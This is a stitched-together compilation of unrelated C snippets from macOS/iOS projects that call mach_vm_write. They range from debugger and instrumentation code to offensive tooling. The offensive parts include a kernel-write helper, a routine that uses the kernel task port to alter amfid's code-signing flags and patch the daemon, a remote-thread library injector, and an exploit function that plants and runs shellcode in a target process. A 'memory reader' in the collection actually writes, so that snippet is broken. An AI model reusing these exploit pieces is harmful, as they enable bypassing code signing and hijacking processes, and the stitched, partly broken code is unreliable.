/* * patch addresses by modifying m3u string to m5u */ int patchmemory(mach_vm_address_t address) { kern_return_t kr = 0; // change memory protection kr = mach_vm_protect(mach_task_self(), address, (mach_vm_size_t)8, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS) { ERROR_MSG("Failed to change memory protection."); return -1; } // the new byte to write uint8_t opcode = 0x35; // number of bytes to write mach_vm_size_t len = 1; DEBUG_MSG("Patching bytes...\n"); // and write the new byte (strings will be modified to m5u and m5u8) kr = mach_vm_write(mach_task_self(), address+1, (vm_offset_t)&opcode, len); if (kr != KERN_SUCCESS) { ERROR_MSG("Failed to write to memory."); return -1; } // restore original protections kr = mach_vm_protect(mach_task_self(), address, (mach_vm_size_t)8, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS) { ERROR_MSG("Failed to change memory protection."); return -1; } return 0; }
void write_mem(mach_vm_address_t addr, mach_vm_address_t buf, int len) { // Write the traced process's memory, starting at addr, up to addr+len. kern_return_t ret = 0; ret = mach_vm_write(task, addr, buf, len); error(ret); ret = mach_vm_copy(task, addr, 10, addr); error(ret); /* size_t written = 0; while (written < len) { // Write a single word of data at at time to the traced process's // address space. errno = 0; int data = 0; memcpy(&data, buf+written, std::min(sizeof(data), len-written)); int ret = ptrace(PT_WRITE_D, pid, addr+written, data); if (errno) { perror("Error: PT_WRITE_D"); } written += sizeof(data); } */ }
bool write_vm(vm_map_t task, mach_vm_address_t address, unsigned char *new_value, mach_msg_type_number_t size) { protection_backup *backup = backup_protection(task, address, size); KERN_TEST(mach_vm_protect(task, address, size, 0, VM_PROT_ALL), "Error setting protection"); KERN_TEST(mach_vm_write(task, address, (vm_offset_t)new_value, size), "Error writing bytes"); restore_protection(task, backup); return true; }
size_t kwrite(uint64_t where, const void *p, size_t size) { int rv; size_t offset = 0; while (offset < size) { size_t chunk = 2048; if (chunk > size - offset) { chunk = size - offset; } rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk); if (rv) { fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where)); break; } offset += chunk; } return offset; }
int write_memory(int pid, mach_vm_address_t addr, mach_msg_type_number_t len, char *data) { // fprintf(stderr, "write_memory %d %p %x\n", pid, (void *)addr, len); vm_map_t port = getport(pid); kern_return_t ret = mach_vm_write(port, addr, (vm_offset_t) data, len); if(ret != KERN_SUCCESS) { //fprintf(stderr, "Failed to write to %lx", addr); mach_error("mach_vm_write: ", ret); if(ret == KERN_PROTECTION_FAILURE) fprintf(stderr, "error writing to %p: Specified memory is valid, but does not permit writing\n", (void *)addr); if(ret == KERN_INVALID_ADDRESS) fprintf(stderr, "error writing to %p: The address is illegal or specifies a non-allocated region\n", (void *)addr); return 0; } return 1; }
/* * iterate over the patch_addresses array and restore original byte */ int unpatchmemory(struct header_info *hi) { kern_return_t kr = 0; int index = 0; while (hi->patch_addresses[index] != 0) { printf("Patching %p\n", (void*)hi->patch_addresses[index]); // change memory protection kr = mach_vm_protect(mach_task_self(), hi->patch_addresses[index], (mach_vm_size_t)8, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS) { ERROR_MSG("Failed to change memory protection."); return -1; } // the new byte to write uint8_t opcode = 0x33; // number of bytes to write mach_vm_size_t len = 1; DEBUG_MSG("Restoring original bytes...\n"); // and write the new byte (strings will be modified to m3u and m3u8) kr = mach_vm_write(mach_task_self(), hi->patch_addresses[index]+1, (vm_offset_t)&opcode, len); if (kr != KERN_SUCCESS) { ERROR_MSG("Failed to write to memory."); return -1; } // restore original protections kr = mach_vm_protect(mach_task_self(), hi->patch_addresses[index], (mach_vm_size_t)8, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS) { ERROR_MSG("Failed to change memory protection."); return -1; } index++; } memset(hi->patch_addresses, '\0', 16*sizeof(mach_vm_address_t)); return 0; }
bool ZGWriteBytes(ZGMemoryMap processTask, ZGMemoryAddress address, const void *bytes, ZGMemorySize size) { return (mach_vm_write(processTask, address, (vm_offset_t)bytes, (mach_msg_type_number_t)size) == KERN_SUCCESS); }
void gum_darwin_mapper_map (GumDarwinMapper * self, GumAddress base_address) { GSList * cur; GumDarwinModule * module = self->module; guint i; GArray * shared_segments; g_assert (!self->mapped); self->runtime_address = base_address; base_address += self->runtime_vm_size; for (cur = self->children; cur != NULL; cur = cur->next) { GumDarwinMapper * child = cur->data; gum_darwin_mapper_map (child, base_address); base_address += child->vm_size; } gum_darwin_module_set_base_address (module, base_address); gum_emit_runtime (self); gum_darwin_module_enumerate_rebases (module, gum_darwin_mapper_rebase, self); gum_darwin_module_enumerate_binds (module, gum_darwin_mapper_bind, self); gum_darwin_module_enumerate_lazy_binds (module, gum_darwin_mapper_bind, self); for (i = 0; i != module->segments->len; i++) { GumDarwinSegment * s = &g_array_index (module->segments, GumDarwinSegment, i); GumAddress segment_address; guint64 file_offset; segment_address = base_address + s->vm_address - module->preferred_address; file_offset = (s->file_offset != 0) ? s->file_offset - self->image->source_offset : 0; mach_vm_write (module->task, segment_address, (vm_offset_t) (self->image->data + file_offset), s->file_size); mach_vm_protect (module->task, segment_address, s->vm_size, FALSE, s->protection); } shared_segments = self->image->shared_segments; for (i = 0; i != shared_segments->len; i++) { GumDarwinModuleImageSegment * s = &g_array_index (shared_segments, GumDarwinModuleImageSegment, i); mach_vm_write (module->task, base_address + s->offset, (vm_offset_t) self->image->data + s->offset, s->size); mach_vm_protect (module->task, base_address + s->offset, s->size, FALSE, s->protection); } mach_vm_write (module->task, self->runtime_address, (vm_offset_t) self->runtime, self->runtime_file_size); mach_vm_protect (module->task, self->runtime_address, self->runtime_vm_size, FALSE, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_COPY | VM_PROT_EXECUTE); self->mapped = TRUE; }
int main(int argc, char** argv) { // THIS IS BOILERPLATE TO PROPERLY GAIN TFP0 AND INITIALIZE INTERNALS offsets_init(); task_t kernel_task; host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &kernel_task); task_self_addr(); kernel_task_port = kernel_task; tfp0 = kernel_task; // THIS IS BOILERPLATE TO PROPERLY GAIN TFP0 AND INITIALIZE INTERNALS if (argc != 1) { printf("Usage\n\t%s NO ARGUMENTS\n", argv[0]); return -1; } fprintf(stderr, "[NERFBAT]\tVersion 0.3b (tfp = 0x%x)\n", tfp0); fprintf(stderr, "[NERFBAT]\tpid = %d\n", getpid()); fprintf(stderr, "[NERFBAT]\tWaiting on handle for MISVSACI to open up...\n"); sleep(5); set_platform_attribs(get_proc_block(getpid()), tfp0); uint32_t amfid_pid = 0; kern_return_t kr; mach_port_name_t amfid_port = 0; int failure = 1; uint64_t old_amfid_MISVSACI_local = 0; if(!(access("/tmp/amfid.MISVSACI", F_OK) == -1)) { char fdata[0x20]; sprintf(fdata, "0x%llx", old_amfid_MISVSACI); int fd = open("/tmp/amfid.MISVSACI", O_RDONLY); read(fd, fdata, 0x20); close(fd); old_amfid_MISVSACI_local = strtoull(fdata, 0, 0x10); old_amfid_MISVSACI = old_amfid_MISVSACI_local; fprintf(stderr, "[NERFBAT]\tLoading old jump table: 0x%llx\n", old_amfid_MISVSACI); fprintf(stderr, "[NERFBAT]\tabout to search for the binary load address\n"); amfid_pid = get_pid_from_name("amfid"); fprintf(stderr, "[NERFBAT]\tAMFID pid = %d\n", amfid_pid); fprintf(stderr, "[NERFBAT]\t[i]\ttask for pid 0 = 0x%x\n", tfp0); kr = task_for_pid(mach_task_self(), amfid_pid, &amfid_port); if (kr != KERN_SUCCESS) fprintf(stderr, "[NERFBAT]\t[-]\tTHERE WAS AN ERROR GETTING task_for_portfor AMFID\n"); amfid_base = binary_load_address(amfid_port); fprintf(stderr, "[NERFBAT]\tamfid load address: 0x%llx\n", amfid_base); } else { fprintf(stderr, "[NERFBAT]\t[i]\tMASSIVE PROBLEM IN NERFBAT\n"); } while (1) { if (failure || get_pid_from_name("amfid") != amfid_pid) { amfid_pid = get_pid_from_name("amfid"); fprintf(stderr, "[NERFBAT]\t[i]\tAMFID pid == %d\n", amfid_pid); uint64_t amfid_proc = get_proc_block(amfid_pid); amfid_base = amfid_proc; fprintf(stderr, "[NERFBAT]\t[i]\tAMFID proc bloc == 0x%llx\n", amfid_proc); //We need to enable amfid to allow us to get a port to it fprintf(stderr, "[NERFBAT]\t[i]\tAMFID pid == %d\n", amfid_pid); uint64_t amfid_task = get_proc_block(amfid_pid); fprintf(stderr, "[NERFBAT]\t[i]\tGot amfid pid at 0x%llx\n", amfid_task); uint64_t vnode_info = rk64(amfid_task+0x248); fprintf(stderr, "[NERFBAT]\t[i]\tVNODE INFO : 0x%llx\n", vnode_info); uint64_t ubc_info = rk64(vnode_info+0xf*sizeof(uint64_t)); fprintf(stderr, "[NERFBAT]\t[i]\tMy UBC INFO is 0x%llx\n", ubc_info); uint64_t blob = rk64(ubc_info+0xa*sizeof(uint64_t)); char *csb = malloc(0xa8); mach_vm_address_t sz = 0; mach_vm_read_overwrite(tfp0, (mach_vm_address_t)blob, 0xa8, (mach_vm_address_t)csb, &sz); fprintf(stderr, "[NERFBAT]\t[i]\tCurrent 0xa4 = 0x%02x\n", (int)*(char *)((char *)csb + 0xA4)); *(char *)((char *)csb + 0xA4) = (*((char *)csb + 0xA4) & 0xFE) | 1; fprintf(stderr, "[NERFBAT]\t[i]\tNew 0xa4 = 0x%02x\n", (int)*(char *)((char *)csb + 0xA4)); fprintf(stderr, "[NERFBAT]\t[i]\tCurrent 0xc = 0x%04x\n", *(uint32_t *)((uint32_t *)csb + 0xc)); *(uint32_t *)((uint32_t *)csb + 0xc) = *((uint32_t *)csb + 0xc) | htonl(0x22000005); fprintf(stderr, "[NERFBAT]\t[i]\tCurrent 0xc = 0x%04x\n", *(uint32_t *)((uint32_t *)csb + 0xc)); mach_vm_write(tfp0, blob, (vm_offset_t)csb, 0xa8); free(csb); fprintf(stderr, "[NERFBAT]\t[i]\ttask for pid 0 = 0x%x\n", tfp0); kr = task_for_pid(mach_task_self(), amfid_pid, &amfid_port); if (kr != KERN_SUCCESS) { fprintf(stderr, "[NERFBAT]\t[-]\tTHERE WAS AN ERROR GETTING task_for_portfor AMFID\n"); failure = 1; } else { failure = 0; } fprintf(stderr, "[NERFBAT]\t[i]\tPATCHING AMFID on port = 0x%x\n", amfid_port); unpatch_amfid(amfid_port, old_amfid_MISVSACI_local); patch_amfid(amfid_port); } fprintf(stderr, "[NERFBAT]\t[i]\tSleeping for 10 seconds...\n"); sleep(10); } }
int main() { int pid; int gcount; long address; unsigned char * bytes; mach_port_t task; thread_act_port_array_t threadList; mach_msg_type_number_t threadCount; printf("PID to query, or 0 for this process: "); scanf("%d", &pid); if(pid == 0){ pid = getpid(); } printf("[i] OK, using PID: %d\n", pid); int retval = task_for_pid(mach_task_self(), pid, &task); if(retval!=KERN_SUCCESS){ fprintf(stderr, "[!] Failed to get task. Do you have perms?\n"); fprintf(stderr, "Error: %s\n", mach_error_string(retval)); return 1; } printf("[i] Querying thread list\n"); retval = task_threads(task, &threadList, &threadCount); if(retval!=KERN_SUCCESS){ fprintf(stderr, "[!] Failed to read thread list\n"); fprintf(stderr, "Error: %s\n", mach_error_string(retval)); return 1; } printf("[+] Thread Count: %d\n", threadCount); printf("Address to start reading from: "); scanf("%ld", &address); printf("Number of bytes to read:: "); scanf("%d", &gcount); printf("[i] Staring... \n"); bytes = malloc(gcount); //Allocate memory for reading time_t temptime = time(NULL); long tempaddr = address; while(address < pow(2, 63)){ retval = mach_vm_write(task, (mach_vm_address_t)address, (vm_offset_t)*bytes, gcount); if(retval == KERN_SUCCESS){ printf("Succesfull Read from @0x%016lx: %s\n", address, bytes); } if(time(NULL) - temptime > TICK){ //probably a load of overhead in calling time() long bytes_read = address - tempaddr; int seconds_elapsed = time(NULL) - temptime; float read_rate = bytes_read/seconds_elapsed/(1024*1024); printf("Tick... currently at 0x%016lx (%f MB/sec)\n", address, read_rate); temptime = time(NULL); tempaddr = address; } address += gcount; //move to next chunk } }
static tb_bool_t it_inject(pid_t pid, tb_char_t const* path) { // check tb_assert_and_check_return_val(pid && path, tb_false); // trace tb_trace_d("inject: pid: %lu, path: %s: ..", (tb_size_t)pid, path); #ifdef TB_ARCH_ARM64 // uses libsubstrate first? if (tb_file_info("/usr/lib/libsubstrate.dylib", tb_null)) { // init library tb_bool_t ok = tb_false; tb_handle_t library = tb_dynamic_init("/usr/lib/libsubstrate.dylib"); if (library) { // trace tb_trace_d("library: %p", library); // the func it_MSHookProcess_t pMSHookProcess = tb_dynamic_func(library, "MSHookProcess"); if (pMSHookProcess) { // trace tb_trace_d("MSHookProcess: %p", pMSHookProcess); // hook process ok = pMSHookProcess(pid, path)? tb_true : tb_false; } // exit library tb_dynamic_exit(library); // trace tb_trace_i("%s", ok? "ok" : "no"); // ok? return ok; } } #endif // pid => task task_t task = 0; if (task_for_pid(mach_task_self(), (tb_int_t)pid, &task)) { tb_trace_i("task_for_pid: %lu failed, errno: %d", (tb_size_t)pid, errno); return tb_false; } // trace tb_trace_d("task: %u", task); // stuff cpu_type_t cputype; it_addr_bundle_t addrs; if (!it_stuff(task, &cputype, &addrs)) return tb_false; // trace tb_trace_d("dlopen: %p", addrs.dlopen); tb_trace_d("syscall: %p", addrs.syscall); // alloc stack mach_vm_address_t stack_address = 0; if (mach_vm_allocate(task, &stack_address, it_stack_size, VM_FLAGS_ANYWHERE)) return tb_false; // write path mach_vm_address_t stack_end = stack_address + it_stack_size - 0x100; if (mach_vm_write(task, stack_address, (vm_offset_t)it_address_cast(path), strlen(path) + 1)) return tb_false; /* the first one is the return address * * syscall(SYS_bsdthread_create, 0xdeadbeef, 0xdeadbeef, 128 * 1024, 0, 0) */ tb_uint32_t args_32[] = {0, 360, 0xdeadbeef, 0xdeadbeef, 128 * 1024, 0, 0}; tb_uint64_t args_64[] = {0, 360, 0xdeadbeef, 0xdeadbeef, 128 * 1024, 0, 0}; // init thread state union { it_arm_thread_state_t arm; it_arm_thread_state64_t arm64; it_x86_thread_state32_t x86; it_x86_thread_state64_t x64; natural_t nat; }state; thread_state_flavor_t state_flavor; mach_msg_type_number_t state_count; memset(&state, 0, sizeof(state)); // init thread state for the cpu type switch (cputype) { case CPU_TYPE_ARM: { tb_trace_i("cputype: arm"); memcpy(&state.arm.r[0], args_32 + 1, 4 * sizeof(tb_uint32_t)); if (mach_vm_write(task, stack_end, (vm_offset_t)it_address_cast(args_32 + 5), 2 * sizeof(tb_uint32_t))) return tb_false; state.arm.sp = (tb_uint32_t) stack_end; state.arm.pc = (tb_uint32_t) addrs.syscall; state.arm.lr = (tb_uint32_t) args_32[0]; state_flavor = ARM_THREAD_STATE; state_count = sizeof(state.arm) / sizeof(state.nat); // trace tb_trace_d("init: pc: %x", state.arm.pc); tb_trace_d("init: lr: %x", state.arm.lr); tb_trace_d("init: sp: %x", state.arm.sp); } break; case CPU_TYPE_ARM64: { tb_trace_i("cputype: arm64"); memcpy(&state.arm64.x[0], args_64 + 1, 6 * sizeof(tb_uint64_t)); state.arm64.sp = (tb_uint64_t) stack_end; // state.arm64.fp = (tb_uint64_t) stack_end; state.arm64.pc = (tb_uint64_t) addrs.syscall; state.arm64.lr = (tb_uint64_t) args_64[0]; state_flavor = ARM_THREAD_STATE64; state_count = sizeof(state.arm64) / sizeof(state.nat); // trace tb_trace_d("init: pc: %llx", state.arm64.pc); tb_trace_d("init: lr: %llx", state.arm64.lr); tb_trace_d("init: sp: %llx", state.arm64.sp); } break; case CPU_TYPE_X86: { tb_trace_i("cputype: x86"); if (mach_vm_write(task, stack_end, (vm_offset_t)it_address_cast(args_32), 7 * 4)) return tb_false; state.x86.esp = state.x86.ebp = (tb_uint32_t) stack_end; state.x86.eip = (tb_uint32_t)addrs.syscall; state_flavor = x86_THREAD_STATE32; state_count = sizeof(state.x86) / sizeof(state.nat); } break; case CPU_TYPE_X86_64: { tb_trace_i("cputype: x64"); state.x64.rdi = args_64[1]; state.x64.rsi = args_64[2]; state.x64.rdx = args_64[3]; state.x64.rcx = args_64[4]; state.x64.r8 = args_64[5]; state.x64.r9 = args_64[6]; state.x64.rsp = state.x64.rbp = stack_end; state.x64.rip = addrs.syscall; state_flavor = x86_THREAD_STATE64; state_count = sizeof(state.x64) / sizeof(state.nat); } break; default: tb_trace_i("cputype: unknown: %lx", (tb_size_t)cputype); return tb_false; } // init a remote thread thread_act_t thread = 0; if (thread_create(task, &thread)) return tb_false; // trace tb_trace_d("init: thread: %x", thread); // alloc port mach_port_t exc = 0; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &exc); if (mach_port_insert_right(mach_task_self(), exc, exc, MACH_MSG_TYPE_MAKE_SEND)) return tb_false; // swap port exception_mask_t em[2]; exception_handler_t eh[2]; exception_behavior_t eb[2]; thread_state_flavor_t ef[2]; mach_msg_type_number_t em_count = 2; if (task_swap_exception_ports(task, EXC_MASK_BAD_ACCESS, exc, EXCEPTION_STATE_IDENTITY, state_flavor, em, &em_count, eh, eb, ef)) return tb_false; tb_assert_and_check_return_val(em_count <= 1, tb_false); // resume thread, done: syscall(SYS_bsdthread_create, 0xdeadbeef, 0xdeadbeef, 128 * 1024, 0, 0) if (thread_set_state(thread, state_flavor, &state.nat, state_count)) return tb_false; if (thread_resume(thread)) return tb_false; // we expect three exceptions: one from thread when it returns, one from the new thread when it calls the fake handler, and one from the new thread when it returns from dlopen. tb_bool_t started_dlopen = tb_false; while (1) { // recv msg it_exception_message_t msg; if (mach_msg_overwrite(tb_null, MACH_RCV_MSG, 0, sizeof(msg), exc, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL, (tb_pointer_t) &msg, sizeof(msg))) return tb_false; // trace tb_trace_d("recv: msg: from thread: %x", msg.thread.name); // check tb_assert_and_check_return_val((msg.Head.msgh_bits & MACH_MSGH_BITS_COMPLEX), tb_false); tb_assert_and_check_return_val((msg.msgh_body.msgh_descriptor_count != 0), tb_false); tb_assert_and_check_return_val((msg.Head.msgh_size >= offsetof(it_exception_message_t, old_state)), tb_false); tb_assert_and_check_return_val((msg.old_stateCnt == state_count), tb_false); tb_assert_and_check_return_val((msg.Head.msgh_size >= offsetof(it_exception_message_t, old_state) + msg.old_stateCnt * sizeof(natural_t)), tb_false); // the msg state memcpy(&state, msg.old_state, sizeof(state)); // dump // tb_dump_data((tb_byte_t const*)&state, sizeof(state)); // done if (msg.thread.name == thread) { tb_trace_d("terminate"); if (thread_terminate(thread)) return tb_false; } else { // init cond tb_bool_t cond = tb_false; switch(cputype) { case CPU_TYPE_ARM: { // trace tb_trace_d("recv: pc: %x", state.arm.pc); tb_trace_d("recv: lr: %x", state.arm.lr); tb_trace_d("recv: sp: %x", state.arm.sp); // cond cond = ((state.arm.pc & ~1) == 0xdeadbeee)? tb_true : tb_false; } break; case CPU_TYPE_ARM64: { // trace tb_trace_d("recv: pc: %llx", state.arm64.pc); tb_trace_d("recv: lr: %llx", state.arm64.lr); tb_trace_d("recv: sp: %llx", state.arm64.sp); // cond cond = ((state.arm64.pc & ~1) == 0xdeadbeee)? tb_true : tb_false; } break; case CPU_TYPE_X86: cond = (state.x86.eip == 0xdeadbeef)? tb_true : tb_false; break; case CPU_TYPE_X86_64: cond = (state.x64.rip == 0xdeadbeef)? tb_true : tb_false; break; } tb_trace_d("cond: %d, started_dlopen: %d", cond, started_dlopen); if (!cond) { // let the normal crash mechanism handle it task_set_exception_ports(task, em[0], eh[0], eb[0], ef[0]); tb_assert_and_check_return_val(0, tb_false); } else if (started_dlopen) { tb_trace_d("terminate"); if (thread_terminate(msg.thread.name)) return tb_false; break; } else { // done: dlopen(path, RTLD_LAZY) switch(cputype) { case CPU_TYPE_ARM: { state.arm.r[0] = (tb_uint32_t) stack_address; state.arm.r[1] = RTLD_LAZY; state.arm.pc = (tb_uint32_t) addrs.dlopen; state.arm.lr = 0xdeadbeef; } break; case CPU_TYPE_ARM64: { state.arm64.x[0] = (tb_uint64_t) stack_address; state.arm64.x[1] = RTLD_LAZY; state.arm64.pc = (tb_uint64_t) addrs.dlopen; state.arm64.lr = 0xdeadbeef; } break; case CPU_TYPE_X86: { tb_uint32_t stack_stuff[3] = {0xdeadbeef, (tb_uint32_t)stack_address, RTLD_LAZY}; if (mach_vm_write(task, (mach_vm_address_t)state.x86.esp, (vm_offset_t)it_address_cast(&stack_stuff), sizeof(stack_stuff))) return tb_false; } state.x86.eip = (tb_uint32_t) addrs.dlopen; break; case CPU_TYPE_X86_64: { tb_uint64_t stack_stuff = 0xdeadbeef; if (mach_vm_write(task, (mach_vm_address_t)state.x64.rsp, (vm_offset_t)it_address_cast(&stack_stuff), sizeof(stack_stuff))) return tb_false; state.x64.rip = addrs.dlopen; state.x64.rdi = stack_address; state.x64.rsi = RTLD_LAZY; } break; } it_exception_reply_t reply; memcpy(&reply.Head, &msg.Head, sizeof(mach_msg_header_t)); reply.Head.msgh_bits &= ~MACH_MSGH_BITS_COMPLEX; reply.Head.msgh_size = offsetof(it_exception_reply_t, new_state) + state_count * sizeof(natural_t); reply.Head.msgh_id += 100; memcpy(&reply.NDR, &msg.NDR, sizeof(NDR_record_t)); reply.RetCode = 0; reply.flavor = state_flavor; reply.new_stateCnt = state_count; memcpy(&reply.new_state, &state, sizeof(state)); if (thread_set_state(msg.thread.name, state_flavor, &state.nat, state_count)) return tb_false; if (mach_msg(&reply.Head, MACH_SEND_MSG, reply.Head.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL)) return tb_false; started_dlopen = tb_true; } } } // exit if (stack_address) vm_deallocate(task, stack_address, it_stack_size); if (thread) { thread_terminate(thread); mach_port_deallocate(mach_task_self(), thread); } if (task) mach_port_deallocate(mach_task_self(), task); if (exc) mach_port_deallocate(mach_task_self(), exc); // ok tb_trace_i("ok"); return tb_true; }
// return 0 to try again int sploit_parent(mach_port_t child_task_port, mach_port_t exception_port) { kern_return_t err; kern_return_t set_exception_ports_err = KERN_SUCCESS; while (set_exception_ports_err == KERN_SUCCESS) { set_exception_ports_err = task_set_exception_ports( child_task_port, EXC_MASK_ALL, exception_port, EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES, // we want to receive a catch_exception_raise message THREAD_STATE_NONE); } // setting the exception port has now started failing // try to receive a message; use a timeout because we may have lost the race and need to try again: size_t size = 0x1000; struct exception_raise_msg* request = malloc(size); memset(request, 0, size); err = mach_msg(&request->Head, MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, size, exception_port, 10, // 10ms timeout 0); if (err != KERN_SUCCESS) { printf("[-] failed to receive message on exception port - trying again (%s)\n", mach_error_string(err)); return 0; } // we got it! printf("[+] got exception message with target's task and thread ports\n"); mach_port_t target_task = request->task.name; mach_port_t target_thread = request->thread.name; // allocate some memory in the task mach_vm_address_t shellcode_addr = 0; err = mach_vm_allocate(target_task, &shellcode_addr, 0x1000, VM_FLAGS_ANYWHERE); if (err != KERN_SUCCESS) { printf("[-] mach_vm_allocate: %s\n", mach_error_string(err)); return 1; } printf("[+] allocated shellcode in target at %llx\n", shellcode_addr); // write the shellcode there: err = mach_vm_write(target_task, shellcode_addr, (vm_offset_t)sc, sizeof(sc)); if (err != KERN_SUCCESS) { printf("[-] mach_vm_write: %s\n", mach_error_string(err)); return 1; } // make it executable err = mach_vm_protect(target_task, shellcode_addr, 0x1000, 0, VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE); // also writeable because we put the stack there if (err != KERN_SUCCESS) { printf("[-] mach_vm_protect: %s\n", mach_error_string(err)); return 1; } // set the thread state to point to the the shellcode x86_thread_state64_t state; mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT; memset(&state, 0, sizeof(state)); state.__rip = (uint64_t)shellcode_addr; state.__rsp = (uint64_t)shellcode_addr + 0x800; // the shellcode uses the stack err = thread_set_state(target_thread, x86_THREAD_STATE64, (thread_state_t)&state, stateCount); if (err != KERN_SUCCESS) { printf("[-] thread_set_state: %s\n", mach_error_string(err)); return 1; } // reply to the exception message struct exception_reply_msg reply = {0}; reply.Head.msgh_remote_port = request->Head.msgh_remote_port; reply.Head.msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REMOTE(request->Head.msgh_bits), 0); reply.Head.msgh_id = request->Head.msgh_id + 100; reply.Head.msgh_size = sizeof(reply); reply.NDR = NDR_record; reply.RetCode = MACH_MSG_SUCCESS; err = mach_msg(&reply.Head, MACH_SEND_MSG|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(reply), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (err != KERN_SUCCESS) { printf("[-] mach_msg sending reply to exception message: %s\n", mach_error_string(err)); return 1; } return 1; }
static int mach_xfer_memory_block (CORE_ADDR memaddr, char *myaddr, int len, int write, task_t task) { vm_size_t pagesize = child_get_pagesize (); vm_offset_t mempointer; /* local copy of inferior's memory */ mach_msg_type_number_t memcopied; /* for vm_read to use */ kern_return_t kret; CHECK_FATAL ((memaddr % pagesize) == 0); CHECK_FATAL ((len % pagesize) == 0); if (!write) { kret = mach_vm_read (task, memaddr, len, &mempointer, &memcopied); if (kret != KERN_SUCCESS) { #ifdef DEBUG_MACOSX_MUTILS mutils_debug ("Unable to read region at 0x%8.8llx with length %lu from inferior: %s (0x%lx)\n", (uint64_t) memaddr, (unsigned long) len, MACH_ERROR_STRING (kret), kret); #endif return 0; } if (memcopied != len) { kret = vm_deallocate (mach_task_self (), mempointer, memcopied); if (kret != KERN_SUCCESS) { warning ("Unable to deallocate memory used by failed read from inferior: %s (0x%ux)", MACH_ERROR_STRING (kret), kret); } #ifdef DEBUG_MACOSX_MUTILS mutils_debug ("Unable to read region at 0x%8.8llx with length %lu from inferior: " "vm_read returned %lu bytes instead of %lu\n", (uint64_t) memaddr, (unsigned long) len, (unsigned long) memcopied, (unsigned long) len); #endif return 0; } memcpy (myaddr, ((unsigned char *) 0) + mempointer, len); kret = vm_deallocate (mach_task_self (), mempointer, memcopied); if (kret != KERN_SUCCESS) { warning ("Unable to deallocate memory used by read from inferior: %s (0x%ulx)", MACH_ERROR_STRING (kret), kret); return 0; } } else { kret = mach_vm_write (task, memaddr, (pointer_t) myaddr, len); if (kret != KERN_SUCCESS) { #ifdef DEBUG_MACOSX_MUTILS mutils_debug ("Unable to write region at 0x%8.8llx with length %lu from inferior: %s (0x%lx)\n", (uint64_t) memaddr, (unsigned long) len, MACH_ERROR_STRING (kret), kret); #endif return 0; } } return len; }
static int mach_xfer_memory_remainder (CORE_ADDR memaddr, char *myaddr, int len, int write, task_t task) { vm_size_t pagesize = child_get_pagesize (); vm_offset_t mempointer; /* local copy of inferior's memory */ mach_msg_type_number_t memcopied; /* for vm_read to use */ CORE_ADDR pageaddr = memaddr - (memaddr % pagesize); kern_return_t kret; CHECK_FATAL (((memaddr + len - 1) - ((memaddr + len - 1) % pagesize)) == pageaddr); if (!write) { kret = mach_vm_read (task, pageaddr, pagesize, &mempointer, &memcopied); if (kret != KERN_SUCCESS) { #ifdef DEBUG_MACOSX_MUTILS mutils_debug ("Unable to read page for region at 0x%8.8llx with length %lu from inferior: %s (0x%lx)\n", (uint64_t) pageaddr, (unsigned long) len, MACH_ERROR_STRING (kret), kret); #endif return 0; } if (memcopied != pagesize) { kret = vm_deallocate (mach_task_self (), mempointer, memcopied); if (kret != KERN_SUCCESS) { warning ("Unable to deallocate memory used by failed read from inferior: %s (0x%lx)", MACH_ERROR_STRING (kret), (unsigned long) kret); } #ifdef DEBUG_MACOSX_MUTILS mutils_debug ("Unable to read region at 0x%8.8llx with length %lu from inferior: " "vm_read returned %lu bytes instead of %lu\n", (uint64_t) pageaddr, (unsigned long) pagesize, (unsigned long) memcopied, (unsigned long) pagesize); #endif return 0; } memcpy (myaddr, ((unsigned char *) 0) + mempointer + (memaddr - pageaddr), len); kret = vm_deallocate (mach_task_self (), mempointer, memcopied); if (kret != KERN_SUCCESS) { warning ("Unable to deallocate memory used to read from inferior: %s (0x%ulx)", MACH_ERROR_STRING (kret), kret); return 0; } } else { /* We used to read in a whole page, then modify the page contents, then write that page back out. I bet we did that so we didn't break up page maps or something like that. However, in Leopard there's a bug in the shared cache implementation, such that if we write into it with whole pages the maximum page protections don't get set properly and we can no longer reset the execute bit. In 64 bit Leopard apps, the execute bit has to be set or we can't run code from there. If we figure out that not writing whole pages causes problems of it's own, then we will have to revisit this. */ #if defined (TARGET_POWERPC) vm_machine_attribute_val_t flush = MATTR_VAL_CACHE_FLUSH; /* This vm_machine_attribute only works on PPC, so no reason to keep failing on x86... */ kret = vm_machine_attribute (mach_task_self (), mempointer, pagesize, MATTR_CACHE, &flush); #ifdef DEBUG_MACOSX_MUTILS if (kret != KERN_SUCCESS) { mutils_debug ("Unable to flush GDB's address space after memcpy prior to vm_write: %s (0x%lx)\n", MACH_ERROR_STRING (kret), kret); } #endif #endif kret = mach_vm_write (task, memaddr, (pointer_t) myaddr, len); if (kret != KERN_SUCCESS) { #ifdef DEBUG_MACOSX_MUTILS mutils_debug ("Unable to write region at 0x%8.8llx with length %lu to inferior: %s (0x%lx)\n", (uint64_t) memaddr, (unsigned long) len, MACH_ERROR_STRING (kret), kret); #endif return 0; } } return len; }